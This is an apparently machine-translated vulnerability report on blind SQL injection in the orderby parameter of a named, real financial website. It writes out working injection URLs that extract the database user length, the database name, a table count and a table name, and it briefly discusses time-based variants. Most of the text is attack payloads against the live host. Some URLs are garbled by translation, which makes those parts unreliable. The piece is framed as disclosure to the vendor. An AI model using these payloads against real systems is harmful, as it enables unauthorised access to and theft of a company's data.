Phoenix Financial sub-station injection to obtain database content

First
Http://app.finance.ifeng.com/finance/fundhtml/indexpj.php? Pj_type = CHENXING & fund_type = gp & orderby = abs (jjdm-(length (user ()> 22) * 8000) & ordertype = asc return page
 
 
 
Then try several values to go to www.2cto.com.
Http://app.finance.ifeng.com/finance/fundhtml/indexpj.php? Pj_type = CHENXING & fund_type = gp & orderby = abs (jjdm-(length (user () = 22) * 8000) & ordertype = asc return page
 
 
 
The length of user () is determined to be 22 characters. It can be determined that this is an injection point. In order to make the management aware of the hazards, we will continue to use brute-force data.
 
Http://app.finance.ifeng.com/finance/fundhtml/indexpj.php? Pj_type = CHENXING & fund_type = gp & orderby = abs (jjdm-(ascii (substring (database (), 102) = 8000) & amp; ordertype = asc go down one by one, and the retrieved database name is finance
 
Http://app.finance.ifeng.com/finance/fundhtml/indexpj.php? Pj_type = CHENXING & fund_type = gp & orderby = abs (jjdm-(select count (*) from information_schema.tables where table_schema = 0x66696E616E6365) = 136) * 8000) & ordertype = asc it seems that there are 136 tables. Here we only run one table. After all, we only remind the vendor to fix the vulnerability, instead of performing penetration testing.
 
Http://app.finance.ifeng.com/finance/fundhtml/indexpj.php? Pj_type = CHENXING & fund_type = gp & orderby = abs % 28jjdm-% 28 length % 28% 28 select % 20 distinct % 20table_name % 20 from % 20information_schema.tables % 20 where % 20table_schema = Limit % 20 limit % ,,1% 29% 29 = 6% 29 * 8000% 29 & ordertype = asc here I pick a short one, the second table has a length of 6 and has encountered a problem. Sometimes, such a page is returned no matter whether the expression is true or false.
 
 



No page with stock information is returned, which makes me unable to judge. Later I found that some pages with such errors can be solved by adding a comment after the expression, but it is not perfect, sometimes this error may occur. I hope you can give me some advice. This is not just the case. sleep is also the case. Some pages will not be delayed when> 100 = 100 or <100
Last
Http://app.finance.ifeng.com/finance/fundhtml/indexpj.php? Pj_type = CHENXING & fund_type = gp & orderby = abs (jjdm-(ascii (substring (select distinct table_name from information_schema.tables where table_schema = limit 1, 1, 1) = 97) * 8000) # & ordertype = asc. The table name is all_hq.
Now the detection is over. We hope the manufacturer can fix it as soon as possible.
Proof of vulnerability:
Http://app.finance.ifeng.com/finance/fundhtml/indexpj.php? Pj_type = CHENXING & fund_type = gp & orderby = abs (jjdm-(length (user () = 22) * 8000) & ordertype = asc
 
Http://app.finance.ifeng.com/finance/fundhtml/indexpj.php? Pj_type = CHENXING & fund_type = gp & orderby = abs (jjdm-(ascii (substring (database (), 7,1) = 101) * 8000) & ordertype = asc

Solution:

Strictly Filter
Author HRay